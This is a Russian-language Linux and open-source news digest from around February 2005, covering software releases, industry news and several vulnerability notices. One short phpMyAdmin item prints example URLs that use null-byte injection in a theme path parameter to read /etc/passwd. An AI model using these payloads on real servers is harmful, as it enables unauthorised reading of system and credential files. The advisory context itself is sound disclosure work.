Вышел аудиоплейер amaroK 1.2.1. Есть изменения, пофиксены баги и добавлены фичи.

ChangeLog смотрите ниже.

Также выпущен amaroK Live (beta2-build25) - LiveCD с KDE, amaroK, музыкой и другими KDE-шными приложениями.

Подробнее - http://amarok.kde.org/wiki/index.php/....

>>> Скачать

После почти года затишья вышла новая версия одного из лучших IRC клиентов.
KVIrc это:
- Мультиплатформенность (есть сборки под *nix, win, mac).
- MDI - интерфейс.
- Полностью модульная архитектура, динамическая подгрузка/выгрузка модулей.
- Встроенный интерпретатор скриптового языка с элементами ООП.
- Поддержка прокси, IPv6, SSL, DCC(в т.ч. через SSL и через фаервол).
- Темы, аватары, графические смайлы, игнор список, уведомления,
всплывающее окно извещателя, антиспам, встроенный лог-вьюер...
- Легко настраиваемые меню и панели инструментов.
А так же: нормальная поддержка всех кодировок (в т.ч. уникода)
и полностью русифицированный интерфейс.

Скачать - http://www.kvirc.net/?id=download

>>> Подробности

Уязвимости позволяют удаленному пользователю выполнить произвольный код и локальному пользователю удалить произвольные файлы на целевой системе.

1. Уязвимость в реализации XPCOM позволяет злоумышленнику с помощью специально сформированного URL выполнить произвольный код в браузере целевого пользователя.

2. Небезопасное создание временных файлов на UNIX платформах позволяет локальному пользователю создать символическую ссылку с критического файла на системе и удалить его с привилегиями пользователя, запустившего браузер.

Пример/Эксплоит: Демонстрационный эксплоит

http://www.mikx.de/firescrolling/

URL производителя: http://www.mozilla.org/products/firefox/

Решение: Установите последнюю версию с сайта производителя.

>>> Подробности на securitylab

Red Hat предлагает бесплатно скачать свои последние продукты.

Red Hat Enterprise Linux AS for x86, AMD64 & Intel EM64T, Intel Itanium, and POWER

Red Hat Enterprise Linux AS for IBM eServer zSeries and IBM S/390

Red Hat Enterprise Linux ES for x86, AMD64 & Intel EM64T, and Intel Itanium

Red Hat Enterprise Linux WS for x86, AMD64 & Intel EM64T, and Intel Itanium

Red Hat Desktop for Intel x86, EM64T, and AMD64

Но с ограниченым сроком поддержки. (30 дней)

>>> Подробности

Вышел первый предварительный релиз будущей версии Samba - 3.0.12pre1. В Samba 3.0.12pre1 представлены улучшения в скорости при работе с директориями с большим числом файлов, а также при использовании DC на базе Samba/OpenLDAP с опцией ldapsam:trusted=yes. В smbclient появилась поддержка MS-DFS. Кроме того, проведены исправления некоторых ошибок.

ChangeLog в подробностях.

>>> Подробности

Вышел первый релиз-кандидат KDE 3.4.

Скачать можно здесь: http://ftp.belnet.be/packages/kde/uns....

Для помощи в сборке KDE можно использовать Konstruct: http://developer.kde.org/build/konstr....

Что примечательно, можно скачать LiveCD с KDE: http://ftp.belnet.be/packages/kde/uns....

Этот LiveCD называется Klax, основан на Slackware 10.1. Подробнее о нём можно прочитать здесь: http://ktown.kde.org/~binner/klax/.

Другие зеркала: http://download.kde.org/unstable/3.4.....

>>> Подробности

Сравнение новейших топовых процессоров от Intel (серий 6XX и P4 EE) с процессорами от AMD (Athlon 64 FX-55 u Athlon 64 4000+) на специально собранном под каждый процессор дистрибутиве Gentoo. Практически во всех тестах выигрывают процессоры от AMD, кроме того они выделяют меньше тепла и значительно меньше нагреваются.

"Right now, it just seems that AMD has a superior architecture and that Intel is going to have to make a pretty significant change to pass AMD in performance."

>>> Подробности

Вышла в свет Mozilla 1.8 бета 1, это первая бета после шести (!) альф. В программе множество улучшений и исправлений, так web-разработчиков может заинтересовать практически полная поддержка ECMAScript for XML (E4X)

>>> Подробности

По словам представителей Microsoft, корпорация в своей антипиратской утилите уделяет особое внимание тому, чтобы не дать пользователям Wine, позволяющего запускать Windows-приложения в среде Linux, возможность скачивать обновления к Windows.
Что примечательно, Джереми Уайт (Jeremy White) из компании CodeWeavers, продающей продукты на базе Wine, был известием от Microsoft больше восхищен чем обеспокоен - ведь раньше корпорация предпочитала вообще "не говорить о Wine", а теперь фактически признала угрозу со стороны эмулятора.

>>> Подробности

Президент и основатель FSF Richard Stallman торжественно вручил награду этого года товарищу Theo de Raadt.

Theo de Raadt является основателем и руководителем проектов OpenBSD и OpenSSH. Заслуги Theo в улучшении свободного программного обеспечения и продвижении сетевой безопасности были высоко оценены комиссией по присуждению награды.

>>> Подробности

/Волный перевод/
Выход GNOME 2.10 подходит всё ближе и GNOME готов зажечь вас до самых стелек. Но чтобы удостовериться, что все будут в экстазе от новой версии DE, нам нужен супернеобычный splashscreen.

-------------------

GNOME 2.10 is coming closer and is ready to rock you to the socks. But to make sure everyone gets rocked properly we need a superterrific splashscreen.
Now is your chance to join the ranks of the precious few who have had their artwork associated with a major release of the GNOME! Contest rules and details are at gimp.org. Keep on rocking, and btw, you can use other apps to make the splash too, including for instance Inkscape.

http://gnomedesktop.org/node/2168

>>> Подробности

26 февраля вышла новая стабильная версия одного из популярнейших просмоторщиков графических файлов - GQview 2.0.0 (stable).

Доступен для скачивания здесь: http://gqview.sourceforge.net/view-do...

Вышла версия 3.3 дистрибутива SimplyMEPIS, который сейчас на четвёртом месте на http://www.distrowatch.com/.

Это LiveCD, с которого можно поставить ОС на хард.

Качать например отсюда: http://ftp.belnet.be/linux/mepis/rele....

>>> Подробности

Вышел очередной релиз программы для создания интерактивных текстовых и графических элементов на десктопе.

Программа основана на imlib2 и может использоваться ,в том числе,
как command-line graphic editor...

>>> Подробности

Вышел первый по настоящему стабильный релиз эмулятора терминала mrxvt...

Отличительной особенностью данной программы является наличие табов и минимальные системные зависимости...

>>> Подробности

Компании IBM и Zend Studios (разработчик PHP) объявили о начале партнерских отношений с целью создания платформы для Web-разработки Zend Core, которая будет включать в себя язык PHP, и embedded СУБД Cloudscape. Кроме того, компании планируют продвигать в среду PHP-разработчиков идеологию работы с enterprise-решениями, такими, как корпоративные СУБД и Web-сервисы, для чего IBM откроет на своем сайте раздел, посвященный разработке приложений такого рода на PHP. Сам же продукт Zend Core будет доступен для свободного скачивания до конца этого года.

По утверждениям IBM, они не отказываются от поддержки Java, и будут продолжать развивать эту технологию и свои продукты, связанные с ней, такие, как WebSphere. Увлечение PHP - это стремление расширить свой рынок, в особенности за счет малого и среднего бизнеса, где простота и дешевизна разработки на PHP перевешивает преимущества Java.

>>> Подробности

Корпорация IBM выложила 30 проектов с открытым исходным кодом на SourceForge. Кроме того, IBM также расширила developerWorks - раздел на своем сайте, посвященный разработке софта - материалами по работе с открытыми средствами разработки, такими, как PHP и Apache Derby.

>>> Подробности

По оценкам IDC в четвертом квартале 2004 года общий рост на рынке серверов по продажам составил 5% (по сравнению с четвертым кварталом 2003 года) до 14.4 миллиарда долларов. Рынок серверов на базе ОС Windows вырос на 15.5% до 4.6 миллиарда долларов. Рынок серверов на базе ОС Linux вырос на 35.6% до 1.3 миллиарда долларов.

Итого за год разрыв между поставками серверов на базе ОС Windows и на базе ОС Linux в денежном отношении сократился с 4.2 раз до 3.5 раз.

>>> Linux-серверы занимают новые ниши (CNews)

Удаленное включение файлов.
Например:
http://[HOST]/[DIR]/css/phpmyadmin.css.p hp?GLOBALS[cfg][ThemePath]=/etc/passwd%0 0&theme=passwd%00
http://[HOST]/[DIR]/css/phpmyadmin.css.p hp?GLOBALS[cfg][ThemePath]=/etc&them e=passwd%00

>>> Подробности

Вышел новый багфикс релиз лучшего клиента года - Gaim.

Вот, что говорят сами разработчики: "Оказывается версия 1.1.3 была не идеалом, т.к многие стали использовать Glib-2.6, что производило крушение клиента при запуске. Кроме того, мы пропустили потенциальную ошибку безопасности, найденную в 1.1.3. Так, после одной недели, мы выпускаем для Вас 1.1.4. Наслаждайтесь."

>>> Подробности

Вышел обзор Solaris 10.

http://www.madpenguin.org/cms/?m=show...

http://www.madpenguin.org/cms/?m=show...

>>> Подробности

Запущен проект ZoneBSD.
Цель проекта - модификация кода FreeBSD, для получения возможности
исполнения системы в Solaris Zone.
Q: Why modify FreeBSD to run within Zones instead of Linux?
A:
Linux is GPL software, and the license under which OpenSolaris will be released, the Common Development & Distribution License (CDDL), is GPL incompatible

>>> Подробности

Помните песню Леннона Revolution #9? Интересно, Javolution тоже доживет до версии 9?

Как бы то ни было вышла 3-я версия этой run-time библиотеки, исплоняющей Java программы намного быстрее, чем это делает родная JRE от Sun

Из новых фич в 3-й версии: FastMap, и расширенные Struct/Union классы для поддержки C/C++ struct/union классов

>>> Подробности

Доступна для скачивания Mozilla Firefox 1.0.1.
Из изменений - несколько пофиксенных багов (в основном связанных с безопасностью).

Changelog(неофициальный):
http://www.squarefree.com/burningedge...

Скачать:
http://www.mozilla.org/products/firef...

>>> Подробности

По результатам голосования среди зарегистрированных посетителей OpenOffice.org, из одиннадцати вариантов, была отобрана заставка разработанная Brendan Whelan. (c opennet.ru)

>>> Подробности

Вышла новая версия Rails, среды для разработки веб-приложений на языке Ruby.

Изменений много. Основные:

- Произвольные схемы для URLов.

- Начата поддержка Web Services. Клиент и сервер.

- Компоненты.

- Поддержка Oracle.

Выпущен новый пакет Active Support и обновлены версии Active Record, Action Pack и Action Mailer.

>>> Подробности

На страницах сайта tomshardware вы можете прочитать интересное интервью с главой Mozilla Foundation - Mitch Kapor. Он рассуждает о том каково конкурировать с Microsoft, о браузере Firefox, как об операционной системе, о его предпочтениях между проприетарным и открытым ПО, а также о многом другом.

>>> Подробности

Французская компания Mandrakesoft покупает все акции бразильской Conectiva за $2.3 млн. "Мы, конечно, не сможем приобрести такой же статус как Red Hat или Novell/SuSE, нo для нас это значительный рост" - говорит президент MandrakeSoft Duval. "Также мы планируем расширить наше присутствие на рынке Америки". И это после недавних разговоров о банкротстве.

Пресс-релиз: http://www.mandrakesoft.com/company/p...

>>> Подробности

Продолжение заметки о perl-xs, в котором описано, как работать с библиотекой ImageMagick в XS и проводить обработку пикселей картинки с последующим отображением результата в виджетах Gtk2-perl

>>> Подробности

Беспристрастное сравнение этих двух ОС производит специалист с 10ти летнем стажем. Выводы: y каждой есть свои плюсы и минусы, но автор остаётся с NetBSD (которой еще правда расти и расти).

>>> Подробности

Rasterman рассказывает про Enlightenment, высказывает свое мнение по поводу xdevconf и выкладывает видео (!) с демонстрацией E17.

>>> Подробности

Вышел релиз 7.0 утилиты DFSee для работы с логическими разделами дисков и файловыми системами. В новом релизе сделано много улучшений пользовательского интерфейсам, поддержки образов дисков и т.д.

DFSee выполняет такие операции как:

* просмотр и анализ данных на диске

* создание, удаление, перемещение, изменение размеров разделов

* клонирование, создание образов дисков

* восстановление испорченной структуры файловой системы

* восстановление удаленных файлов

* надежное удаление данных

* и т.д. и т.п.

Кроме Linux, доступны также версии под DOS, Windows и OS/2.

>>> Подробности

Разработчики браузера minimo (http://www.mozilla.org/projects/minimo) анонсировали релиз 0.1 для процессоров ARM и успешный порт на платформу Windows CE. Сообщается что браузер пригоден для повседневного использования на карманных компьютерах семейства IPAQ.

>>> Анонс

Корпорация Sun выпускает самый лучший по соотношению цена/производительность сервер для Линукс на сегодняшний день. Сервер имеет высоту 3U и содержит 4 процессора Opteron. Полная компиляция ядра 2.6.4 занимает меньше трёх минут.

>>> Подробности

Конкурс на лучший логотип для FreeBSD начался; на этот раз официально.

Он продлится с 22.02.2005 до 31.05.2005. На данный момент не зарегистрировано ни одного проекта.

Организаторы особо подчеркивают тот факт, что Beastie останется символом FreeBSD - некоторые пользователи были сильно обеспокоены этой проблемой.

Победитель конкурса получит $500.

>>> Подробности

В интервью порталу CNET руководитель компании Adobe рассказал о планах развития компании, в том числе касающихся Linux. В ближайшее время основную ставку Adobe делает на формат PDF и серверные продукты для поддержки документооборота масштаба предприятия, и все подобные продукты будут поддерживать Linux в качестве основной платформы: "Yes, so first of all most of our servers (software products) that we make available at the enterprise level will work on top of Linux."

Перенос линейки продуктов для графического дизайна на Linux не планируется, хотя отмечается что некоторые открытые проекты действительно составляют конкуренцию продуктам Adobe, что способствует их более активному развитию: "there have been a number of products out in the open-source marketplace that have competed with products like Photoshop, Illustrator and PostScript, and others."

>>> Подробности

"Тихо и незаметно"(с) вышла очередная, 6-я версия OpenServer под кодовым названием Legend. Бета тестирование продукта началось с 22 февраля.

>>> Подробности

Вышел третий bugfix-релиз к последней стабильной ветке популярной графической среды для UNIX/Linux-систем GNOME 2.8.3.

В новой версии представлены многочисленные исправления во многих компонентах всех трех ключевых составляющих GNOME: platform, desktop и bindings (наибольшее их число пришлось, естественно, на сам desktop).

Источник: http://www.nixp.ru

>>> Подробности

Вышел багфикс-релиз программы для работы с растровой графикой GIMP 2.2.4.

Изменения - http://developer.gimp.org/NEWS-2.2.

Также вышло руководство GIMP-HELP 2.0.7 - ftp://ftp.gimp.org/pub/gimp/help/test....

>>> Скачать

Злонамеренный SFTP сервер может выполнить код на PSCP или PSFTP клиентах putty. Всем рекомендуется обновиться до версии 0.57

>>> Подробности

русская разработка программы под *nix позволяющая получать доступ к файловой системе Моторолл серии р2к.
P.s. Этьо было последнне что меня удерживало от сноса оффтопика. теперь его больше нет... ;-)
Скачка http://motofan.ru/board/index.php?s=9...

>>> Подробности

Выпущена обновленная версия программы Ru.OpenOffice.org 1.1.4 Special Build. Обновление устраняет нерегулярную ошибку, приводящую к краху программы при удалении строк из именованных диапазонов и автофильтров в таблице Calc.

>>> Подробности

В ночь с понедельника на вторник многие пользователи интернета остались без доступа к любимому источнику справочной информации. Знаменитая онлайновая энциклопедия Wikipedia прекратила работы из-за сбоя в энергоснабжении. На главной странице энциклопедии на момент подготовки данного материала находилось сообщение о ведении работ по восстановлению данных из резервных копий. Это достаточно длительная процедура, так как восстановлению подлежат базы данных общим объемом 170 Гб, расположенные на нескольких серверах.

>>> Подробности

Вышла новая версия lossless(без потерь) аудио кодека flac.
Основные изменения:
- Более быстрое декодирование;
- Ускоренное кодирование если не используется LPC(т.е. когда flac запущен с опциями -0, -1, -2, или -1 0)ж
- Исправлен баг с возможными возникновениями ошибками синхронизации с некоторыми файлами с ID3v1-тэгами;
- Добавлена HTML документация для metaflac

полный список изменений по ссылке

>>> Подробности

Появился первый в мире мобильник, содержащий линукс 2.6.x/QTopia. Выглядит как Nokia Communicator, но на самом деле это маленький компьютер, который поддерживает GSM, GPRS, IrDA, Bluetooth и WLAN. Ссылка, к сожалению, на немецком.

>>> Подробности

Корпорация PGP решила отказаться от использования алгоритма SHA1 для цифровой подписи и теперь будет использовать алгоритмы SHA256/512.

>>> Подробности

Обновился единственный порт Slackware на платформу отличную от i386. По составу дистрибутив полностью совпадает с основной веткой Slackware.

>>> Подробности

Свободная энциклопедия "Википедия" пытается собрать $75 000 на свое развитие.

"Мы работаем над тем, чтобы сделать информационную систему более эффективной, но трафик на наших серверах удваивается каждые четыре месяца. Сайт wikipedia.org уже вошёл в число 200 самых популярных вебсайтов в интернете и, вероятно, войдёт в первую сотню в конце года.

Этот рост был очень захватывающий, но вызвал проблемы, которые необходимо решать."

Википедия, как известно, использует Fedora Core Linux.

>>> Подробности

SuSE Linux Enterprise Server 9 получил сертификат по Common Criteria EAL4+. На данный момент SLES9 является первым дистрибутивом Linux который был сертифицирован по этой программе.

Теперь SLES9 находится в одной лиге с такими игроками как Microsoft (Windows 2000) на рынке систем для правительства.

>>> Подробности

Европарламент таки отклонил проект закона о патентах на ПО продвигемый несколькими крупными хай-тек компаниями. Закон отправлен по крайней мере на несколько месяцев на доработку и вероятно он будет полностью переработан и урезан.

>>> Подробности

Такого я еще не видел: beta видел, release candidate видел, но Beta Candidate - еще нет ;-) Ждем скорого выхода любимого всеми, и лично мной, ОО 2.0!!! Я пробовал одну из прошлых сборок и был приятно ншокирован огромным количеством изменений и улучшений, начиная от форматирования текста, клипарта и заканчивая самостоятельным GUI для баз данных. Распространяется в виде rpm, гораздо удобнее в установке. Короче говоря: получайте удовольствие:

2005/02/14 1.9.m79 (OOo 2.0 Beta Candidate, public 2005/02/16, release notes)

http://development.openoffice.org/rel...

>>> Подробности

В этом обзоре рассказывается о дистрибутиве для настольных компьютеров, основанном на Gentoo.

>>> Смотреть (куча скринов)

Появилась первая бета версия пакета офисных программ от Sun. Как всегда много нового - улучшена скорость, исправлены баги, добавлена функциональность.

Изменения
http://www.sun.com/software/star/star...

>>> Подробности

В ближайшие три года американская компания IBM направит 100 млн долларов на проекты в рамках сотрудничества с операционной системой открытого доступа Linux.

>>> Подробности

Remote DoS on receiving malformed HTML
http://gaim.sourceforge.net/security/...

AIM/ICQ remote denial of service
http://gaim.sourceforge.net/security/...

Скачать:
http://sourceforge.net/project/showfi...

>>> Источник

SCO исключат из Nasdaq за плохое поведение ?

Акции SCO Group могут быть изъяты из обращения на бирже Nasdaq SmallCap, сообщает ZDNet. Причиной этому является тот факт, что SCO до сих пор не предоставила свой ежегодный финансовый отчет (финансовый год SCO закончился еще 31 октября). Компания намерена обжаловать данное решение перед комиссией Nasdaq Listing Qualifications Panel, а тем временем ее тикер будет изменен с "SCOX" на "SCOXE". Таким образом Nasdaq традиционно помечает предприятия, не выполняющие своих обязательств перед Комитетом по ценным бумагам и биржам (U.S. Securities and Exchange Commission).

>>> Оригинал

Продукт компании Win4Lin под названием Win4Lin Pro теперь поддерживает операционные системы Windows 2000 u XP. "Win4Lin Pro is an outstanding achievement. I believe your product to be superior to all of the other approaches for providing Windows support on Linux. And your responsive team makes it a pleasure to work with you."

Подукт будет доступен с 31 марта 2005 года по цене $100.

>>> Подробности

Trustee -- это еще один путь управления правами доступа для Linux.

Автор (Andrew Ruder) вдохновился реализацией этого дела в Novel NetWare.
Trustee реализовано с использованием Linux Security Module (LSM) API, поэтому не требуется патчить ядро. Работает для 2.6 ветки ядра.

>>> Подробности

IBM готовит новые маркетинговые программы, которые, как надеются в компании, послужат для 6000 независимых разработчиков программного обеспечения поводом портировать свои продукты на открытую операционную систему Linux в течение ближайших трех лет...

>>> Подробности

Ура, вот и вышла очередная версия Mono... Уже с пол месяца разработчики обещают выпустить полную первую версию с поддержкой Windows.Forms! Добавляются всё новые фичи из спецификации C# v2.0, закончили работу над System.XML 2.0! Разработчики считают ветку 1.1.x уже давольно стабильной и предлагают переходить на... Скоро ветка 1.x покинет сцену и мы получим долгожданную версию - 1.2

>>> Сайт проекта Mono

Один хороший человек написал: Вобщем решил ... стереть пыль с этого брилианта, где-то подправить где-то изменить, посмотрим что из этого получиться.

>>> Подробности

Невероятный и неожиданный успех веб-браузера Firefox
заставил Microsoft пошевелиться.
Во вторник Билл Гейтс анонсировал Internet Explorer 7 -
продукт, вновь существующий отдельно от MS Windows.

>>> Подробности

Опубликована новая редакция этого замечательного документа.
Помимо традиционных вопросов, связанных с использованием пакетного фильтра (фильтрация, NAT, сбор статистики, logging, мосты),
рассматриваются вещи специфичные только для pf
(интеграция с ALTQ, CARP, pfsync).
В главе Giving spammers a hard time, описывается использование демона-ловушки spamd.

>>> Подробности

Ричард говорит об интеллектуальной собственности и открывает тайну Билла Гейтса - оказывается, он - коммунист.

Читать по-русски: http://zdnet.ru/?ID=475958

>>> Подробности

Hula разрабатывается как сервер для групповой работы (почта, календарь). Программа выпущена под двойной лицензией LGPL/MPL(Mozilla Public License). Сервер будет использовать стандартные протоколы (SMTP, IMAP, iCalendar, CalDAV). Модульная архитектура позволит интегрировать его с другими проектами, такими как Open-Xchange и Thunderbird/Sunbird. В настоящее время код работает только на Linux, в ближайшем будущем планируется портировать его на Windows, Mac OS X и NetWare. Также команда разработчиков работает над веб клиентом, активно использующим JavaScript и DHTML и напоминающим интерфейс gmail. На ранней стадии разработки, сервисы почты и календарей могут использовать Evolution и Thunderbird, хотя в будущем планируется расширить функциональность и на Chandler PIM с Microsoft Outlook.

>>> Подробности

Небольшой обзор особенностей KDE 3.4 со скриншотами.

>>> Подробности

Вышел вчера, тихо и незаметно...) Номер - 8.10.19

Изменений много! Вот только некоторые:

# Kernel Module Driver compile support for Kernel 2.6.10 (не надо руками править) # XVideo support now available in dualhead configuration (думаю, не надо х-конфиг вручную для этого теперь ковырять)

Почитайте сами:

http://www2.ati.com/drivers/linux/lin...

puh2126

>>> Брать здесь:

Michael Kerrisk, Ogawa Hirofumi, David Coulson объявили о уязвимостях средней критичности ядер Linux 2.6.x (на данный момент частично исправленных). Могут быть реализованы следующие атаки на систему: повышение привилегий, DoS атака и нарушение работы netfilter.

1) Права доступа функции "shmctl()" позволяют любому приложению разблокировать сегменты памяти принадлежащие какому-либо другому приложению, что может привести к выдаче информации через swap

2) "Гонка на выживание" для функции "setsid()" приводит к образованию ряда процессов

3) Размер таблицы в "nls_ascii.c" некорректно установлен в 128 вместо 256, что может привести к переполнению буфера и разрушению ядра

4) Ошибка проектирования в модуле netfilter/iptables может привести к разрушению ядра или к обходу правил фаервола, используя специально сконструированные пакеты

Решений для первых 2 пунктов пока не найдено, остальные исправлены в 2.6.11-rc3.

>>> Подробности

15 февраля вышла новая стабильная версия программы-эмулятора терминала rxvt-unicode (urxvt).

в основном исправления ошибок и документации, но кроме этого появилась новая опция -embed, позволяющая встроить urxvt в существующее X11'е окно

>>> домашняя страница проекта

На этой неделе Sun представит StarOffice 8 и Java Desktop System (JDS) release 3 на конференции LinuxWorld в Бостоне

Java Desktop System - дистрибутив Linux от Sun базированный на SuSE Enterprise Server 9
Он проходил бетатестирование на протяжении прошлого года и его можно будет приобрести во втором квартале 2005 года

>>> Подробности

Представляю на суд общественности ререализацию на PHP програмыы Any2FB2 Дмитрия Грибова (http://www.gribuser.ru).

В двух словах, что за зверь: это конвертор восьмибитных текстовых и html-файлов (с включаемыми картинками) в формат FictionBook (http://www.gribuser.ru/xml/fictionbook/); работает на DOS, Windows.

От оригинала отличается, в первую очередь, языком программирования, во вторую - устойчивостью преобразования, т.е. ошибок в получаемом fb2-файле гораздо меньше.

Readme, консольный и www-конвертор - в комплекте.

Надеюсь, кому-нибудь пригодится.

>>> Пока живёт здесь

Группа разработчиков Mozilla решила отказаться от поддержки международных доменных имен в будущих версиях браузера FireFox в связи с недавними проблемами в безопасности. Теперь, чтобы задействовать поддержку IDN в браузере, придётся вручную менять значение network.enableIDN на true в настройках (about:config) программы.

>>> Подробности

Известный специалист в области безопасности Bruce Schneier сообщает в своём web дневнике, что по известной ему информации, дайджест алгоритм SHA1 был "взломан". Также он добавляет: "Описание еще не доступно широкой общественности. В настоящее время я не могу сказать насколько реальной является атака, но описание выглядит хорошо, и создано уважаемой исследовательской группой".

>>> Подробности

Исправлено 50 багов, в том числе уязвимость в модуле XML-RPC. Также объявлено что это последний релиз ветки 2.3

>>> Подробности

Вдогонку к Red Hat Enterprise Linux 4 вышел Red Hat Magazine #4

>>> Подробности

Вслед за Black Duck Software и ее программой ProtexIP появилась еще одна компания, предлагающая средства для поиска частей открытых приложений в закрытом коде. Фирма Palamida была представлена широкой публике на выставке LinuxWorld, которая проходит в эти дни в Бостоне. Ее флагманский продукт, Palamida IP Amplifier, сканирует исходные тексты в поисках сигнатур известных открытых приложений. В настоящая время Palamida заключает соглашения, которые позволят ей дополнить поисковую базы и образцами проприетарного кода. (c linuxcenter.ru)

>>> Подробности

Red Hat Enterprise Linux 4 - первая версия корпоративного дистрибутива Linux от Red Hat на основе современного ядра Linux 2.6. Предыдущие версии были построены на основе модифицированного ядра 2.4 и содержали некоторые ключевые возможности ядра 2.6, новая версия использует их все:

* udev
* ACPI
* SELinux
* LVM2

Версии компонентов системы и приложений:

* Gnome 2.8
* gcc 3.4.2
* OpenOffice 1.1.2
* Evolution 2.0.2
* Xorg 6.8.1
* Firefox 1.0

>>> Подробности

То о чем многие поклонники консольных файловых менеджеров мечтали, а потом стали использовать mc.

Вышла первая стабильная версия Dos Navigator под GNU/Linux

Список возможностей:
1) многооконный интерфейс
2) Мощный файловый менеджер
3) Поддержка 26 типов архивов
4) Встроенный редактор с поддержкой 3-х кодировок
5) шестнадцатиричный редактор
6) Поддержка регулярных выражений
7) Возможность создания нескольких профилей
8) Работа с электронными таблицами
и многое другое

Ссылка: http://ndn.muxe.com
Скачать: http://ndn.muxe.com/dwl.php

Игорь Сысоев, автор вебсервера nginx, отмечает на своём сайте, что yandex.ru начал использовать mod_deflate (http://sysoev.ru/mod_deflate/) - модуль к Apache для сжатия HTTP-трафика.

Поздравляю всех с тем, что ещё один крупный сайт стал доступнее для российской глубинки, сельских школ и провинциальных университетов!

Всем, кто ещё не знает про mod_deflate, и как он экономит трафик и ускоряет загрузку страниц срочно читать доки: http://sysoev.ru/mod_deflate/readme.html !

>>> Подробности

Стала доступна Бета Mandrakelinux для Itanium 2, которая сфокусирована на вычислениях в реальном режиме времени и SMP!

>>> Подробности

В этой версии популярного антивируса исправлена ошибка, вызывавшая ложные позитивные срабатывания, а также устранены проблемы со стабильностью работы clamav-milter/clamd и улучшено сканирование почтовых сообщений. Скачать: http://sourceforge.net/project/showfi...

>>> Release notes:

После завершения beta-тестирования IBM представила Linux-версию нового высокопроизводительного компилятора и интегрированной среды разработки XL C/C++ V7.0 Advanced Edition for Linux (бывший IBM VisualAge C++ V7.0 for Linux). Поддерживается только архитектура Power. Новость взята с http://openet.ru

>>> Подробности

В статье наглядно с помощью примеров на Bash и Python создаётся интеллектуальный поисковый агент, который станет незаменим любому пользователю сети Internet

>>> Подробности

Вышла долгожданная первая стабильная версия четвёртой итерации MIDI-секвенсера и нотного редактора Rosegarden.

Вкратце о том, что умеет:

- воспроизведение MIDI/аудио через ALSA, JACK и всё ещё aRts;
- матричный и нотный редакторы (с линейной и страничной раскладками), редактор списка событий;
- поддержка модулей DSSI (аналог VSTi/DXi) и VSTi через "мостик" dssi-vst (используется libfst);
- поддержка модулей эффектов LADSPA;
- поддержка механизма JACK transport для синхронизации в другими звуковыми приложениями;
- нотная интерпретация сыгранной в MIDI партии;
- загрузка описаний MIDI-устройств из XML-файла (.rgd);
- переключаемые сегменты (triggered segments) для создания всяких мелизмов и паттерновой секвенции;
- аудио- и MIDI-микшеры;
- импорт данных их файлов MIDI, MusicXML, Hydrogen (опенсорсная драм-машина);
- экспорт в MIDI, партитуру Csound, Lilypond и MusicXML;
- перевод интерфейса на русский, испанский, немецкий, французский, уэльский, итальянский, шведский, эстонский, японский и упрощённый китайский языки (не считая британского английского и американского английского);
- справка на английском, немецком, шведском и японском языках.

Замечу, что разработчики, которым уже за тридцатник, шли к этому релизу несколько лет.

В ветке 1.1-2.0 ожидается дальнейшая работа над нотным редактором, создание встроенного редактора перкуссионных партий, улучшение практичности интерфейса и многое другое.

>>> Подробности

Firefox набирает популярность - иначе сложно объяснить появление первого шпионского модуля для этого браузера. Правда, установка модуля не совсем скрытая - для этого необходимо утвердительно ответить на запрос о загрузке файла из сети, однако никаких других предупреждений нет. Похоже, что скоро начнут появляться "полноценные" spyware тихо и незаметно проникающие в систему.

>>> Подробности

Спустя некоторое время после выхода коммерческой версии Xandros Desktop OS 3, стала доступна для скачивания ее бесплатная версия - Xandros V3 Open Circulation Edition. Занимает она немногим меньше 1СД, что весьма удобно для пользователей с ограниченным доступом в Интернет.

Отличия от коммерческих версий приведены в таблице по ссылке http://home.xandros.com/products/desk...

Официальный пресс-релиз http://www.xandros.com/news/press/rel...

Ссылка на закачку (BitTorrent) http://www.xandros.com/torrent/xandro...

>>> Подробности о Xandros Desktop OS

Стартовал первый конкурс разработчиков открытого ПО, проводимый проектом OpenNet.ru совместно с ассоциацией РУССОФТ и компанией LinuxCenter.

Разработчикам желающим бесплатно принять участие в конференции "Open Source World Russia" следует заполнить данную форму - http://www.opennet.ru/konkurs/konkurs...

>>> Подробности

Есть такая страничка www.minisip.org. Tам дают следующие: sip телефон под линукс, который умеет SRTP и рассказывают про безопасный VoIP. Может кому то интересно.

Samsung и Infineon о разработке референс-дизайна смартфона, предназначенного для работы в стандартах UMTS и EDGE под управлением ОС Linux.

>>> Подробности

GEOMAPPIX - это GNU/Linux, включающий в себя установленную и настроенную OPEN SOURCE геоинформационную систему, работающую непосредственно с CD-ROM. Компоненты вашего компьютера распознаются автоматически: многие видео- и звуковые карты, SCSI контроллеры и другое оборудование. Все это возможно благодаря KNOPPIX Линукс GEOMAPPIX можно использовать для работы с растровыми и векторными картами, космическими снимками или же как основу для разработки новых продуктов. Установка на жесткий диск не требуется.

Геоинформационный линукс GEOMAPPIX доступен для скачивания по адресу ftp://geomapx.ru

>>> Подробности

Вышла новая версия замечательного фаервола iptables.

В новой версии пофиксины баги предыдущей версии.

>>> Подробности

Вышла новая версия второго по популярности аудио плейера под Linux (по данным linuxquestions.org) amaroK!
Нового в 1.2:
- Полная поддержка Audioscrobbler (www.audioscrobbler.org)
- Для хранения коллекции теперь можно ипользовать MySQL
- Значительно увеличилась скорость загрузки плейлиста
- 10-и полосный эквалайзер
- Загрузка текстов с lyrics.com
- Интеграция с iPod
- Новый OSD, поддержка прозрачности
- Визуализация с использованием libVisual
- Новый логотип :)
- Интерфейс для скриптов на python

Также в этой версии немного переделана перекодировка тегов (для mp3), при ее включении меняется приоритет чтения ID3 тегов с v2 на v1, что практически полностью решает проблему для российских пользователей с локалью отличной от cp1251!

Полный ChangeLog - http://webcvs.kde.org/kdeextragear-1/...

>>> Подробности

Scientific Linux - это полностью перекомпилированный из SRPM RH Enterprise 3 AS, включая Update 4. Т.е. если у вас нет денег на коробку от RH и что-то (возможно это ваша совесть) мешает его украсть, то ученые эту проблему для себя (и вас!) уже решили полностью легально!

См. подробности по ссылке: https://www.scientificlinux.org/docum...

>>> Подробности о Scientific Linux

Что нового в Wine-20050211: (также см. ChangeLog)
- улучшена библиотека MSI
- улучшенa поддержка OLE, добавлен нативный stdole32.tlb
- исправлены проблемы с окнами при их изменении (resize) и перерисовке
- много багфиксов

http://prdownloads.sourceforge.net/wi...

>>> Подробности

Директор Opera Hakon Lie прошёлся по всем пунктам недавнего заявления Bill Gates'a o "superior interoperability", опубликованного на прошлой неделе. Hakon Lie сообщает о таких вещах как, "отсуствие желания у Microsoft предоставлять одинаковый контент всем браузерам", "плохая поддержка CSS браузером WinIE", "ограничения MS XML формата" и о многом другом.

>>> Подробности

